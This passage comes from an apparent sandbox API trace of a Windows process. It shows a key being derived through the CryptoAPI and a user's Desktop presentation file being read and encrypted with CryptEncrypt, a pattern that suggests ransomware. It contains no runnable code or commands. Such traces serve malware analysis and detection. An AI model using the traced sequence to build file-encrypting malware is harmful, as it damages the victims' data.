lpMsg=0xe8f3dfe760) returned 0 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.857] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.857] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b1e0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.857] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.857] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.857] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.857] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0022.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.859] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.859] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.859] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0022.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417b200, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0022.859] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0022.859] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0022.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.861] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.odp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\jyth35ywow4cde5jd.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.861] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.861] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.863] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.863] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.864] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x38a2, lpOverlapped=0x0) returned 1 [0022.864] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.867] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.867] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.867] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.867] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.868] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.868] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.868] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064a20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.868] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.868] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.868] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.869] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.869] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.869] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x138a2, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x138b0) returned 1 [0022.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.870] CharLowerBuffW (in: lpsz="byte[80049]", cchLength=0xb | out: lpsz="byte[80049]") returned 0xb [0022.871] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.873] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.873] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.873] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.874] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0022.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417abe0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0022.875] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0022.875] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41fb3e0*, pdwDataLen=0xe8f3dfdf68*=0x138a2, dwBufLen=0x138b0 | out: pbData=0xe8f41fb3e0*, pdwDataLen=0xe8f3dfdf68*=0x138b0) returned 1 [0022.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.877] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.877] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.877] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.882] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.882] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.882] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 